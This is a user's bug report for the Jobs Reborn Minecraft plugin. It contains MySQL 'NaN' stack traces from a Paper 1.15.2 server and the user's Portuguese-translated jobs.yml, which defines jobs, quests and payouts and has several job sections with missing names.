MySQL Problem

*Description of issue:
I have puted de Jobs Reborn on MySQL and this error appear
ERROR:
[18:34:30 WARN]: java.sql.SQLException: 'NaN' is not a valid numeric or approximate numeric value
[18:34:30 WARN]: at com.mysql.jdbc.SQLError.createSQLException(SQLError.java:965)
[18:34:30 WARN]: at com.mysql.jdbc.SQLError.createSQLException(SQLError.java:898)
[18:34:30 WARN]: at com.mysql.jdbc.SQLError.createSQLException(SQLError.java:887)
[18:34:30 WARN]: at com.mysql.jdbc.SQLError.createSQLException(SQLError.java:861)
[18:34:30 WARN]: at com.mysql.jdbc.PreparedStatement.setDouble(PreparedStatement.java:3315)
[18:34:30 WARN]: at com.gamingmesh.jobs.dao.JobsDAO.save(JobsDAO.java:1912)
[18:34:30 WARN]: at com.gamingmesh.jobs.container.JobsPlayer.save(JobsPlayer.java:762)
[18:34:30 WARN]: at com.gamingmesh.jobs.PlayerManager.saveAll(PlayerManager.java:250)
[18:34:30 WARN]: at com.gamingmesh.jobs.tasks.DatabaseSaveThread.run(DatabaseSaveThread.java:46)

Server Type (Paperspigot):
Server Version (1.15.2):

What jobs version number are you using?

java.sql.SQLException: 'NaN' is not a valid numeric or approximate numeric value
[18:30:37 WARN]: at com.mysql.jdbc.SQLError.createSQLException(SQLError.java:965)
[18:30:37 WARN]: at com.mysql.jdbc.SQLError.createSQLException(SQLError.java:898)
[18:30:37 WARN]: at com.mysql.jdbc.SQLError.createSQLException(SQLError.java:887)
[18:30:37 WARN]: at com.mysql.jdbc.SQLError.createSQLException(SQLError.java:861)
[18:30:37 WARN]: at com.mysql.jdbc.PreparedStatement.setDouble(PreparedStatement.java:3315)
[18:30:37 WARN]: at com.gamingmesh.jobs.dao.JobsDAO.joinJob(JobsDAO.java:1429)
[18:30:37 WARN]: at com.gamingmesh.jobs.PlayerManager.joinJob(PlayerManager.java:391)
[18:30:37 WARN]: at com.gamingmesh.jobs.commands.list.join.perform(join.java:84)
[18:30:37 WARN]: at com.gamingmesh.jobs.commands.JobsCommands.onCommand(JobsCommands.java:98)
[18:30:37 WARN]: at org.bukkit.command.PluginCommand.execute(PluginCommand.java:45)
[18:30:37 WARN]: at org.bukkit.command.SimpleCommandMap.dispatch(SimpleCommandMap.java:159)
[18:30:37 WARN]: at org.bukkit.craftbukkit.v1_15_R1.CraftServer.dispatchCommand(CraftServer.java:752)
[18:30:37 WARN]: at net.minecraft.server.v1_15_R1.PlayerConnection.handleCommand(PlayerConnection.java:1825)
[18:30:37 WARN]: at net.minecraft.server.v1_15_R1.PlayerConnection.a(PlayerConnection.java:1633)
[18:30:37 WARN]: at net.minecraft.server.v1_15_R1.PacketPlayInChat.a(PacketPlayInChat.java:47)
[18:30:37 WARN]: at net.minecraft.server.v1_15_R1.PacketPlayInChat.a(PacketPlayInChat.java:5)
[18:30:37 WARN]: at net.minecraft.server.v1_15_R1.PlayerConnectionUtils.lambda$ensureMainThread$0(PlayerConnectionUtils.java:23)
[18:30:37 WARN]: at net.minecraft.server.v1_15_R1.TickTask.run(SourceFile:18)
[18:30:37 WARN]: at net.minecraft.server.v1_15_R1.IAsyncTaskHandler.executeTask(IAsyncTaskHandler.java:136)
[18:30:37 WARN]: at net.minecraft.server.v1_15_R1.IAsyncTaskHandlerReentrant.executeTask(SourceFile:23)
[18:30:37 WARN]: at net.minecraft.server.v1_15_R1.IAsyncTaskHandler.executeNext(IAsyncTaskHandler.java:109)
[18:30:37 WARN]: at net.minecraft.server.v1_15_R1.MinecraftServer.ba(MinecraftServer.java:1038)
[18:30:37 WARN]: at net.minecraft.server.v1_15_R1.MinecraftServer.executeNext(MinecraftServer.java:1031)
[18:30:37 WARN]: at net.minecraft.server.v1_15_R1.IAsyncTaskHandler.awaitTasks(IAsyncTaskHandler.java:119)
[18:30:37 WARN]: at net.minecraft.server.v1_15_R1.MinecraftServer.sleepForTick(MinecraftServer.java:1015)
[18:30:37 WARN]: at net.minecraft.server.v1_15_R1.MinecraftServer.run(MinecraftServer.java:938)
[18:30:37 WARN]: at java.lang.Thread.run(Thread.java:748)

Jobs version: 4.15.7

#
# Edited by roracle to include 1.13 items and item names, prepping for 1.14 as well.
#
# Stores information about each job.
#
# NOTE: When having multiple jobs, both jobs will give the income payout to the player
# even if they give the pay for one action (make the configurations with this in mind)
# and each job will get the respective experience.
#
# e.g If player has 2 jobs where job1 gives 10 income and experience for killing a player
# and job2 gives 5 income and experience for killing a player. When the user kills a player
# they will get 15 income and job1 will gain 10 experience and job2 will gain 5 experience.

Jobs:
  # Must be one word
  # This job will be ignored as this is just example of all possible actions.
  exampleJob:
    # full name of the job (displayed when browsing a job, used when joining and leaving
    # also can be used as a prefix for the user's name if the option is enabled.
    # Shown as a prefix only when the user has 1 job.

    # NOTE: Must be 1 word
    fullname: Lenhador
    # Shortened version of the name of the job. Used as a prefix when the user has more than 1 job.
    shortname: W
    description: Ganha dinheiro derrubando e plantando árvores
    # Full description of job to be shown in job browse command
    FullDescription:
    - ' &2Ganhe dinheiro por:'
    - ' &7Plantando árvores'
    - ' &7Cortando árvores'
    - ' &7Matando jogadores'
    # The colour of the name, for a full list of supported colours, go to the message config.
    ChatColour: GREEN
    # [OPTIONAL] The colour of the boss bar: GREEN, BLUE, RED, WHITE, YELLOW, PINK, PURPLE.
    BossBarColour: WHITE
    # Option to let you choose what kind of prefix this job adds to your name.
    # options are: full, title, job, shortfull, shorttitle, shortjob and none
    chat-display: full
    # [OPTIONAL] - the maximum level of this class
    max-level: 10
    # [OPTIONAL] - the maximum level of this class with specific permission
    # use jobs.[jobsname].vipmaxlevel, in this case it will be jobs.exampleJob.vipmaxlevel
    vip-max-level: 20
    # [OPTIONAL] - the maximum number of users on the server that can have this job at any one time (includes offline players).
    slots: 1
    # [OPTIONAL] Soft limits will allow to stop income/exp/point payment increase at some particular level but allow further general leveling.
    # In example if player is level 70, he will get paid as he would be at level 50, exp gain will be as he would be at lvl 40 and point gain will be as at level 60
    # This only applies after players level is higher than provided particular limit.
    softIncomeLimit: 50
    softExpLimit: 40
    softPointsLimit: 60
    # Equation used for calculating how much experience is needed to go to the next level.
    # Available parameters:
    #   numjobs - the number of jobs the player has
    #   joblevel - the level the player has attained in the job.
    #  NOTE: Please take care of the brackets when modifying this equation.
    leveling-progression-equation: 10*(joblevel)+(joblevel*joblevel*4)
    # Equation used for calculating how much income is given per action for the job level.
    # Available parameters:
    #   numjobs - the number of jobs the player has
    #   baseincome - the income for the action at level 1 (as set in the configuration).
    #   joblevel - the level the player has attained in the job.
    # NOTE: Please take care of the brackets when modifying this equation.
    income-progression-equation: baseincome+(baseincome*(joblevel-1)*0.01)-((baseincome+(baseincome*(joblevel-1)*0.01))
      * ((numjobs-1)*0.05))
    # Equation used for calculating how much points is given per action for the job level.
    # Available parameters:
    #   numjobs - the number of jobs the player has
    #   basepoints - the points for the action at level 1 (as set in the configuration).
    #   joblevel - the level the player has attained in the job.
    # NOTE: Please take care of the brackets when modifying this equation.
    points-progression-equation: basepoints+(basepoints*(joblevel-1)*0.01)-((basepoints+(basepoints*(joblevel-1)*0.01))
      * ((numjobs-1)*0.05))
    # Equation used for calculating how much experience is given per action for the job level.
    # Available parameters:
    #   numjobs - the number of jobs the player has
    #   baseexperience - the experience for the action at level 1 (as set in the configuration).
    #   joblevel - the level the player has attained in the job.
    # NOTE: Please take care of the brackets when modifying this equation.
    experience-progression-equation: baseexperience-(baseexperience*((numjobs-1) *0.01))
    # Defines how often in seconds player can rejoin this job. Can be bypassed with jobs.rejoinbypass
    rejoinCooldown: 10
    # GUI icon information when using GUI function
    Gui:
      # Name of the material
      Item: LOG:2
      # Enchants of the item
      Enchantments:
      - DURABILITY:1
    # You can use the custom player head:
    # Item: player_head
    #   CustomSkull: Notch

    # Defines maximum amount of daily quests player can have from THIS job
    # This will not have effect on overall quest amount player will have
    maxDailyQuests: 3
    # Daily quests
    # Each job can have as many daily quests as you want
    # Players will have access to quests from jobs he is currently working at
    Quests:
      # Quest identification. Can be any ONE word or number or both of them. This doesn't have any real meaning but it can't repeat.
      first:
        # Quest name used for quests list, don't forget to enclose it with " "
        Name: Quebrar madeira de carvalho
        # This should be in a format as [actionType];[actionTarget];[amount]
        # [actionType] can be any valid job action. Look lower for all possible action types
        # [actionTarget] can be material name, block type, entity name and so on. This is defined in same way as any generic payable job action
        # [amount] is how many times player should perform this action to complete quest
        Objectives:
        - Break;17-0;300
        # Command list to be performed after quest is finished.
        # Use [playerName] to insert players name who finished that quest
        RewardCommands:
        - money give [playerName] 500
        - msg [playerName] Missão completada!
        # Quest description to be used to explain quest requirements or rewards for player
        RewardDesc:
        - Quebre 300 Madeira de carvalho
        - Ganhe 500$ por isso
        # Restricted areas where player cant progress his quest
        RestrictedAreas:
        - Arenas
        - myarena
        # Defines chance in getting this quest.
        # If you have set 10 quests and player can have only 2, then quests with biggest chance will be picked most likely
        # This will allow to have some rare quests with legendary rewards
        Chance: 40
        # Defines to which job level you want to give out this quest.
        # Keep in mind that player will keep quest even if he is over level limit if he got new one while being under
        # In example: player with level 2 takes quests and levels up to level 5, he still can finish this quest and after next quest reset (check general config file)
        # he will no longer have option to get this quest
        toLevel: 5
        # Defines from which level you want to give option to get this quest
        # You can use both limitations to have limited quests for particular job level ranges
        fromLevel: 3
      second:
        Name: Assassino de zumbis
        Objectives:
        - Kill;Zombie;50
        RewardCommands:
        - money give [playerName] 2000
        - msg [playerName] Missão completada!
        RewardDesc:
        - Mate 50 zumbis
        - Ganhe 2000$ por isso!
      third:
        Name: Fogão de frango
        Objectives:
        - Smelt;COOKED_CHICKEN;20
        RewardCommands:
        - money give [playerName] 300
        - msg [playerName] Missão completada!
        RewardDesc:
        - Cozinhe alguns peitos de frango
        - Ganhe 300$ por isso!
      fourth:
        Name: SRegistros de faixa
        Objectives:
        - StripLogs;stripped_birch_log;25
        - StripLogs;stripped_acacia_log;25
        RewardCommands:
        - msg [playerName] Missão completada!
        RewardDesc:
        - Tira 25 toras de bétula e acácia cada!
    # ########################################################################
    # Section used to configure what items the job gets paid for, how much
    # they get paid and how much experience they gain.

    # For break and place, the block material name is used.
    # e.g ACACIA_LOG, DARK_OAK_FENCE, BIRCH_DOOR

    # To get a list of all available block types, check the
    # bukkit JavaDocs for a complete list of block types
    # https://hub.spigotmc.org/javadocs/spigot/org/bukkit/Material.html

    # For kill tags (Kill and custom-kill), the name is the name of the mob.
    # To get a list of all available entity types, check the
    # bukkit JavaDocs for a complete list of entity types
    # https://minecraft.gamepedia.com/Mob#List_of_mobs

    # NOTE: mob names are case sensitive.

    # For custom-kill, it is the name of the job (also case sensitive).

    # NOTE: If a job has both the pay for killing a player and for killing a specific class, they will get both payments.
    # #######################################################################
    # payment for breaking a block
    Break:
      log:
        income: 5.0
        points: 5.0
        experience: 5.0
        from-level: 1
        until-level: 30
        softIncomeLimit: 50
        softExpLimit: 40
        softPointsLimit: 60
      gravel:
        # you can use minuses to take away money if the player break this block
        income: -1.0
        experience: -1.0
      # block name/id (with optional sub-type)
      oak_log:
        # base income, can be not used if using point system
        income: 5.0
        # base points, can be not used if using income system
        points: 5.0
        # base experience
        experience: 5.0
        # (OPTIONAL) from which level of this job player can get money for this action
        # if not given, then player will always get money for this action
        # this can be used for any action
        from-level: 1
        # (OPTIONAL) until which level player can get money for this action.
        # if not given, then there is no limit
        # this can be used for any action
        until-level: 30
        # (OPTIONAL) Soft limits will allow to stop income/exp/point payment increase at some particular level but allow further general leveling.
        # In example if player is level 70, he will get paid as he would be at level 50, exp gain will be as he would be at lvl 40 and point gain will be as at level 60
        # This only applies after players level is higher than provided particular limit.
        softIncomeLimit: 50
        softExpLimit: 40
        softPointsLimit: 60
    Collect:
      sweet_berry_bush-3:
        income: 0.5
        points: 0.5
        experience: 0.5
      composter:
        income: 1.5
        points: 1.5
        experience: 1.5
      beehive-5:
        income: 2.5
        points: 2.5
        experience: 2.5
      bee_nest-5:
        income: 2.5
        points: 2.5
        experience: 2.5
    Bake:
      beef:
        income: 1.0
        experience: 1.0
      porkchop:
        income: 0.5
        points: 0.4
    StripLogs:
      stripped_acacia_log:
        income: 1.0
        points: 1.0
        experience: 1.0
      stripped_oak_log:
        income: 1.0
        points: 1.0
        experience: 1.0
    TNTBreak:
      log:
        income: 5.0
        points: 5.0
        experience: 5.0
    Place:
      sapling:
        income: 1.0
        points: 1.0
        experience: 1.0
      wood:
        income: 2.0
        points: 2.0
        experience: 2.0
    VTrade:
      emerald:
        income: 1.0
        points: 1.0
        experience: 2.0
      enchanted_book-12:
        income: 1.0
        experience: 2.0
    Kill:
      Player:
        income: 7.5
        experience: 7.5
    MMKill:
      CustomNameHere:
        income: 7.5
        experience: 7.5
    custom-kill:
      Woodcutter:
        income: 10.0
        experience: 10.0
    Tame:
      Wolf:
        income: 2.0
        experience: 5.0
    Breed:
      Wolf:
        income: 2.0
        experience: 5.0
    Eat:
      cooked_rabbit:
        income: 5
        experience: 5
      baked_potato:
        income: 5
        experience: 5
    Milk:
      Cow:
        income: 2.0
        experience: 5.0
      MushroomCow:
        income: 5.0
        experience: 10.0
    Shear:
      Black:
        income: 2.0
        experience: 5.0
      Blue:
        income: 2.0
        experience: 5.0
      Brown:
        income: 2.0
        experience: 5.0
      Cyan:
        income: 2.0
        experience: 5.0
      Gray:
        income: 2.0
        experience: 5.0
      Green:
        income: 2.0
        experience: 5.0
      Light_Blue:
        income: 2.0
        experience: 5.0
      Lime:
        income: 2.0
        experience: 5.0
      Magenta:
        income: 2.0
        experience: 5.0
      Orange:
        income: 2.0
        experience: 5.0
      Pink:
        income: 2.0
        experience: 5.0
      Purple:
        income: 2.0
        experience: 5.0
      Red:
        income: 2.0
        experience: 5.0
      Light_Gray:
        income: 2.0
        experience: 5.0
      White:
        income: 2.0
        experience: 5.0
      Yellow:
        income: 2.0
        experience: 5.0
    Dye:
      leather_boots:
        income: 1.0
        experience: 1.0
      leather_chestplate:
        income: 1.0
        experience: 1.0
      leather_helmet:
        income: 1.0
        experience: 1.0
      leather_leggings:
        income: 1.0
        experience: 1.0
      '351':
        income: 1.0
        experience: 1.0
    Fish:
      raw_fish:
        income: 20.0
        experience: 25.0
      legacy_raw_fish:
        income: 20.0
        experience: 25.0
    Repair:
      wood_sword:
        income: 1.0
        experience: 1.0
      iron_sword:
        income: 2.0
        experience: 2.0
    Craft:
      wood_sword:
        income: 1.5
        experience: 3.0
      leather_boots:
        income: 1.0
        experience: 6.0
      '!Healing Bandage':
        income: 1.0
        experience: 6.0
    Smelt:
      iron_ingot:
        income: 2.0
        experience: 8.0
      gold_ingot:
        income: 4.5
        experience: 12
    Enchant:
      wood_sword:
        income: 1.5
        experience: 3.0
      leather_boots:
        income: 1.0
        experience: 6.0
      DIG_SPEED-1:
        income: 3.0
        experience: 10.0
      DIG_SPEED-2:
        income: 6.0
        experience: 20.0
    Brew:
      nether_stalk:
        income: 5.0
        experience: 3.0
      redstone:
        income: 5.0
        experience: 3.0
    Explore:
      '1':
        income: 5.0
        experience: 5.0
      '2':
        income: 2.5
        experience: 2.5
      '3':
        income: 1.0
        experience: 1.0
      '4':
        income: 0.5
        experience: 0.5
      '5':
        income: 0.1
        experience: 0.1
    permissions:
      aaaaaatest_node:
        value: true
        level: 0
      aaaaaatest_node2:
        value: true
        level: 10
    conditions:
      first:
        requires:
        - j:Miner-50
        - j:Digger-50
        - p:essentials.notnoob
        perform:
        - p:essentials.fly-true
    commands:
      fly:
        command: manuaddp [player] essentials.fly
        levelFrom: 100
        levelUntil: 100
      kit:
        command:
        - manuaddp [player] essentials.kits.woodcutter
        - msg [player] Agora você pode usar o kit de lenhador!
        levelFrom: 150
        levelUntil: 150
    world-blacklist:
    - plotworld
    - teamworld
    items:
      firstOne:
        id: 278
        name: '&8Picareta do mineiro'
        lore:
        - '&ePicareta do Bob'
        - '&710% bonus XP'
        enchants:
        - DAMAGE_ALL=1
        - FIRE_ASPECT=1
        moneyBoost: 1.1
        expBoost: 1.2
        pointBoost: 1.3
      helmet:
        id: 310
        name: '&8Armadura'
        lore:
        - '&eArmadura do Bob'
        - '&710% bonus XP'
        moneyBoost: 1.1
        expBoost: 1.1
    limitedItems:
      firstOne:
        id: 278
        level: 5
        name: '&8Picareta do mineiro'
        lore:
        - '&ePicareta do Bob'
        - '&710% bonus XP'
        enchants:
        - DAMAGE_ALL=1
        - FIRE_ASPECT=1
    cmd-on-join:
    - msg [name] Obrigado por ingressar neste trabalho!
    - msg [name] Agora comece a trabalhar e obtenha dinheiro como [jobname]!
    cmd-on-leave:
    - msg [name] Você deixou isso incrível trabalho [jobname]!
    - msg [name] Te vejo em breve!
  Woodcutter:
    fullname: Lenhador
    shortname: W
    description: Ganha dinheiro derrubando e plantando árvores
    ChatColour: GREEN
    chat-display: full
    max-level: 200
    leveling-progression-equation: 10*(joblevel)+(joblevel*joblevel*4)
    income-progression-equation: baseincome+(baseincome*(joblevel-1)*0.01)-((baseincome+(baseincome*(joblevel-1)*0.01))
      * ((numjobs-1)*0.05))
    points-progression-equation: basepoints+(basepoints*(joblevel-1)*0.01)-((basepoints+(basepoints*(joblevel-1)*0.01))
      * ((numjobs-1)*0.05))
    experience-progression-equation: baseexperience-(baseexperience*((numjobs-1) *0.01))
    rejoinCooldown: 10
    maxDailyQuests: 1
    Quests:
      '1':
        Name: Pica-pau
        Objectives:
        - Break;oak_log;50
        - Break;birch_log;50
        - Break;jungle_log;50
        RewardCommands:
        - money give [playerName] 100
        - msg [playerName] Missão completada!
        RewardDesc:
        - Quebrar logs e ganhar dinheiro
        - Ganhe 100$ por isso!

    ChatColour: DARK_GRAY
    chat-display: full
    max-level: 200
    leveling-progression-equation: 10*(joblevel)+(joblevel*joblevel*4)
    income-progression-equation: baseincome+(baseincome*(joblevel-1)*0.01)-((baseincome+(baseincome*(joblevel-1)*0.01))
      * ((numjobs-1)*0.05))
    points-progression-equation: basepoints+(basepoints*(joblevel-1)*0.01)-((basepoints+(basepoints*(joblevel-1)*0.01))
      * ((numjobs-1)*0.05))
    experience-progression-equation: baseexperience-(baseexperience*((numjobs-1) *0.01))
    rejoinCooldown: 10
    maxDailyQuests: 1
    Quests:
      '1':
        Name: O escuro
        Objectives:
        - Break;stone;50
        - Break;granite;50
        - Break;sandstone;50
        RewardCommands:
        - money give [playerName] 100
        - msg [playerName] Missão completada!
        RewardDesc:
        - Quebre blocos e ganhe dinheiro
        - Ganhe 100$ por isso!
    Gui:
      Id: 270
      Data: 0
    TNTBreak:
      stone:
        income: 0.25
        points: 0.25
        experience: 0.5
      granite:
        income: 0.25
        points: 0.25
        experience: 0.5
      diorite:
        income: 0.25
        points: 0.25
        experience: 0.5
      andesite:
        income: 0.25
        points: 0.25
        experience: 0.5
    Break:
      tube_coral_block:
        income: 2
        points: 2
        experience: 3
      brain_coral_block:
        income: 2
        points: 2
        experience: 3
      bubble_coral_block:
        income: 2
        points: 2
        experience: 3
      fire_coral_block:
        income: 2
        points: 2
        experience: 3
      horn_coral_block:
        income: 2
        points: 2
        experience: 3
      andesite:
        income: 1
        points: 1
        experience: 1
      stone:
        income: 1
        points: 1
        experience: 1
      granite:
        income: 1
        points: 1
        experience: 1
      diorite:
        income: 1
        points: 1
        experience: 1
      sandstone:
        income: 0.15
        points: 0.15
        experience: 0.2
      chiseled_sandstone:
        income: 0.15
        points: 0.15
        experience: 0.2
      cut_sandstone:
        income: 0.15
        points: 0.15
        experience: 0.2
      coal_ore:
        income: 3
        points: 2
        experience: 2
      redstone_ore:
        income: 2.5
        points: 2
        experience: 2
      iron_ore:
        income: 3.5
        points: 3
        experience: 2
      gold_ore:
        income: 5
        points: 4
        experience: 2
      lapis_ore:
        income: 7.5
        points: 6
        experience: 2
      diamond_ore:
        income: 10
        points: 10
        experience: 10
      emerald_ore:
        income: 15
        points: 15
        experience: 30
      nether_quartz_ore:
        income: 2.5
        points: 2.5
        experience: 2.5
      obsidian:
        income: 5
        points: 5
        experience: 5
      cobblestone_wall:
        income: 2.5
        points: 2.5
        experience: 2.5
      mossy_cobblestone_wall:
        income: 2.5
        points: 2.5
        experience: 2.5
      nether_bricks:
        income: 1.0
        points: 1
        experience: 1.0
      nether_brick_stairs:
        income: 3
        points: 3
        experience: 3
      nether_brick_fence:
        income: 1
        points: 1
        experience: 1
      netherrack:
        income: 0.1
        points: 0.1
        experience: 0.1
      prismarine:
        income: 2.5
        points: 2.5
        experience: 2.5
      prismarine_bricks:
        income: 2.5
        points: 2.5
        experience: 2.5
      dark_prismarine:
        income: 2.5
        points: 2.5
        experience: 2.5
    Place:
      rail:
        income: 2.0
        points: 2.0
        experience: 2.0
      iron_ore:
        income: -5.0
        points: -5
        experience: -5.0
      gold_ore:
        income: -6.0
        points: -6
        experience: -6.0
      diamond_ore:
        income: -10.0
        points: -10
        experience: -10.0
      emerald_ore:
        income: -15
        points: -15
        experience: -30
    Kill:
      Player:
        income: 7.5
        points: 7.5
        experience: 7.5
  Builder:
    fullname: Construtor
    shortname: B
    description: Ganha dinheiro pela construção de estruturas.
    ChatColour: WHITE
    chat-display: full
    max-level: 200
    leveling-progression-equation: 10*(joblevel)+(joblevel*joblevel*4)
    income-progression-equation: baseincome+(baseincome*(joblevel-1)*0.01)-((baseincome+(baseincome*(joblevel-1)*0.01))
      * ((numjobs-1)*0.05))
    points-progression-equation: basepoints+(basepoints*(joblevel-1)*0.01)-((basepoints+(basepoints*(joblevel-1)*0.01))
      * ((numjobs-1)*0.05))
    experience-progression-equation: baseexperience-(baseexperience*((numjobs-1) *0.01))
    rejoinCooldown: 10
    maxDailyQuests: 1
    Quests:
      '1':
        Name: Arquiteto
        Objectives:
        - Place;spruce_planks;50
        - Place;birch_planks;50
        - Place;wool;50
        RewardCommands:
        - money give [playerName] 100
        - msg [playerName] Missão completada!
        RewardDesc:
        - Coloque blocos e ganhe dinheiro
        - Ganhe 100$ por isso!

    ChatColour: GOLD
    chat-display: full
    max-level: 200
    leveling-progression-equation: 10*(joblevel)+(joblevel*joblevel*4)
    income-progression-equation: baseincome+(baseincome*(joblevel-1)*0.01)-((baseincome+(baseincome*(joblevel-1)*0.01))
      * ((numjobs-1)*0.05))
    points-progression-equation: basepoints+(basepoints*(joblevel-1)*0.01)-((basepoints+(basepoints*(joblevel-1)*0.01))
      * ((numjobs-1)*0.05))
    experience-progression-equation: baseexperience-(baseexperience*((numjobs-1) *0.01))
    rejoinCooldown: 10
    maxDailyQuests: 1
    Quests:
      '1':
        Name: Toupeira à terra
        Objectives:
        - Break;dirt;50
        - Break;grass_block;50
        - Break;gravel;50
        RewardCommands:
        - money give [playerName] 100
        - msg [playerName] Missão completada!
        RewardDesc:
        - Cavar blocos e ganhar dinheiro
        - Ganhe 100$ por isso!

    ChatColour: BLUE
    chat-display: full
    max-level: 200
    leveling-progression-equation: 10*(joblevel)+(joblevel*joblevel*4)
    income-progression-equation: baseincome+(baseincome*(joblevel-1)*0.01)-((baseincome+(baseincome*(joblevel-1)*0.01))
      * ((numjobs-1)*0.05))
    points-progression-equation: basepoints+(basepoints*(joblevel-1)*0.01)-((basepoints+(basepoints*(joblevel-1)*0.01))
      * ((numjobs-1)*0.05))
    experience-progression-equation: baseexperience-(baseexperience*((numjobs-1) *0.01))
    rejoinCooldown: 10
    maxDailyQuests: 1
    Quests:
      '1':
        Name: Regular Joe
        Objectives:
        - Breed;Sheep;10
        - Shear;White;10
        - Milk;Cow;3
        RewardCommands:
        - money give [playerName] 100
        - msg [playerName] Missão completada!
        RewardDesc:
        - Seja agricultor e ganhe dinheiro
        - Ganhe 100$ por isso!

    ChatColour: RED
    chat-display: full
    max-level: 200
    leveling-progression-equation: 10*(joblevel)+(joblevel*joblevel*4)
    income-progression-equation: baseincome+(baseincome*(joblevel-1)*0.01)-((baseincome+(baseincome*(joblevel-1)*0.01))
      * ((numjobs-1)*0.05))
    points-progression-equation: basepoints+(basepoints*(joblevel-1)*0.01)-((basepoints+(basepoints*(joblevel-1)*0.01))
      * ((numjobs-1)*0.05))
    experience-progression-equation: baseexperience-(baseexperience*((numjobs-1) *0.01))
    rejoinCooldown: 10
    maxDailyQuests: 1
    Quests:
      '1':
        Name: Predator
        Objectives:
        - Kill;Wolf;10
        - Kill;Creeper;3
        - Kill;Skeleton;10
        RewardCommands:
        - money give [playerName] 100
        - msg [playerName] Missão completada!
        RewardDesc:
        - Mate tudo o que se move e ganhe dinheiro
        - Ganhe 100 por isso!
    Gui:
      Id: 261
      Data: 0
    Tame:
      Wolf:
        income: 20.0
        points: 20
        experience: 15.0
      Ocelot:
        income: 20.0
        points: 20
        experience: 15.0
      Horse:
        income: 20.0
        points: 20
        experience: 15.0
    Kill:
      Chicken:
        income: 5.0
        points: 5
        experience: 5.0
      Cow:
        income: 6.0
        points: 5
        experience: 5.0
      Pig:
        income: 5.0
        points: 5
        experience: 5.0
      Sheep:
        income: 5.0
        points: 5
        experience: 5.0
      Wolf:
        income: 10.0
        points: 10
        experience: 5.0
      Creeper:
        income: 15.0
        points: 15
        experience: 15.0
      Skeleton:
        income: 10.0
        points: 10
        experience: 15.0
      Spider:
        income: 10.0
        points: 10
        experience: 15.0
      Zombie:
        income: 10.0
        points: 10
        experience: 15.0
      BLAZE:
        income: 20.0
        points: 20
        experience: 15.0
      CAVE_SPIDER:
        income: 20.0
        points: 20
        experience: 15.0
      ENDERMAN:
        income: 2.0
        points: 2
        experience: 2.0
      GHAST:
        income: 30.0
        points: 30
        experience: 30.0
      GIANT:
        income: 250.0
        points: 250
        experience: 100.0
      IRON_GOLEM:
        income: 30.0
        points: 30
        experience: 30.0
      mushroom_cow:
        income: 5.0
        points: 5
        experience: 5.0
      PIG_ZOMBIE:
        income: 5.0
        points: 5
        experience: 5.0
      SILVERFISH:
        income: 3.0
        points: 3
        experience: 5.0
      SNOWMAN:
        income: 2.0
        points: 2
        experience: 4.0
      SQUID:
        income: 2.0
        points: 2
        experience: 2.0
      RABBIT:
        income: 2.0
        points: 2
        experience: 2.0
      GUARDIAN:
        income: 2.0
        points: 2
        experience: 2.0
      SHULKER:
        income: 5.0
        points: 5
        experience: 5.0
      PHANTOM:
        income: 5.0
        points: 5
        experience: 5.0
      DROWNED:
        income: 5.0
        points: 5
        experience: 5.0
      HUSK:
        income: 5.0
        points: 5
        experience: 5.0
      WITHER:
        income: 50.0
        points: 50
        experience: 120.0
      ENDER_DRAGON:
        income: 2000.0
        points: 2000
        experience: 2000.0
      Player:
        income: 9.0
        points: 9
        experience: 7.5
  Explorer:
    fullname: Explorador
    shortname: Ex
    description: Ganha dinheiro explorando o mapa.
    ChatColour: AQUA
    chat-display: full
    max-level: 200
    leveling-progression-equation: 10*(joblevel)+(joblevel*joblevel*4)
    income-progression-equation: baseincome+(baseincome*(joblevel-1)*0.01)-((baseincome+(baseincome*(joblevel-1)*0.01))
      * ((numjobs-1)*0.05))
    points-progression-equation: basepoints+(basepoints*(joblevel-1)*0.01)-((basepoints+(basepoints*(joblevel-1)*0.01))
      * ((numjobs-1)*0.05))
    experience-progression-equation: baseexperience-(baseexperience*((numjobs-1) *0.01))
    rejoinCooldown: 10
    maxDailyQuests: 1
    Quests:
      '1':
        Name: Galileo
        Objectives:
        - Explore;1;30
        RewardCommands:
        - money give [playerName] 100
        - msg [playerName] Missão completada!
        RewardDesc:
        - Faça uma viagem e ganhe dinheiro
        - Ganhe 100$ por isso!
    Gui:
      Id: 301
      Data: 0
    Explore:
      '1':
        income: 5.0
        points: 5
        experience: 5.0
      '2':
        income: 2.5
        points: 2.5
        experience: 2.5
      '3':
        income: 1.0
        points: 1.0
        experience: 1.0
      '4':
        income: 0.5
        points: 0.5
        experience: 0.5
      '5':
        income: 0.1
        points: 0.1
        experience: 0.1
    Kill:
      Player:
        income: 7.5
        experience: 7.5
  Crafter:
    fullname: Criador
    shortname: Cr
    description: Ganha dinheiro com a criação de itens.
    ChatColour: RED
    chat-display: full
    max-level: 200
    leveling-progression-equation: 10*(joblevel)+(joblevel*joblevel*4)
    income-progression-equation: baseincome+(baseincome*(joblevel-1)*0.01)-((baseincome+(baseincome*(joblevel-1)*0.01))
      * ((numjobs-1)*0.05))
    points-progression-equation: basepoints+(basepoints*(joblevel-1)*0.01)-((basepoints+(basepoints*(joblevel-1)*0.01))
      * ((numjobs-1)*0.05))
    experience-progression-equation: baseexperience-(baseexperience*((numjobs-1) *0.01))
    rejoinCooldown: 10
    maxDailyQuests: 1
    Quests:
      '1':
        Name: Mestre Crafter
        Objectives:
        - Craft;dispenser;10
        - Craft;chest;10
        - Craft;ladder;30
        RewardCommands:
        - money give [playerName] 100
        - msg [playerName] Missão completada!
        RewardDesc:
        - Crie e ganhe dinheiro
        - Ganhe 100$ por isso!

    ChatColour: AQUA
    chat-display: full
    max-level: 200
    leveling-progression-equation: 10*(joblevel)+(joblevel*joblevel*4)
    income-progression-equation: baseincome+(baseincome*(joblevel-1)*0.01)-((baseincome+(baseincome*(joblevel-1)*0.01))
      * ((numjobs-1)*0.05))
    points-progression-equation: basepoints+(basepoints*(joblevel-1)*0.01)-((basepoints+(basepoints*(joblevel-1)*0.01))
      * ((numjobs-1)*0.05))
    experience-progression-equation: baseexperience-(baseexperience*((numjobs-1) *0.01))
    rejoinCooldown: 10
    maxDailyQuests: 1
    Quests:
      '1':
        Name: Apanhador
        Objectives:
        - Fish;cod;2
        - Fish;salmon;2
        - Fish;tropical_fish;2
        RewardCommands:
        - money give [playerName] 100
        - msg [playerName] Missão completada!
        RewardDesc:
        - Pegar peixe e ganhar dinheiro
        - Ganhe 100$ por isso!
    Gui:
      Item: fishing_rod
    Fish:
      cod:
        income: 15.0
        points: 15.0
        experience: 15.0
      salmon:
        income: 20.0
        points: 20.0
        experience: 25.0
      tropical_fish:
        income: 25.0
        points: 25.0
        experience: 25.0
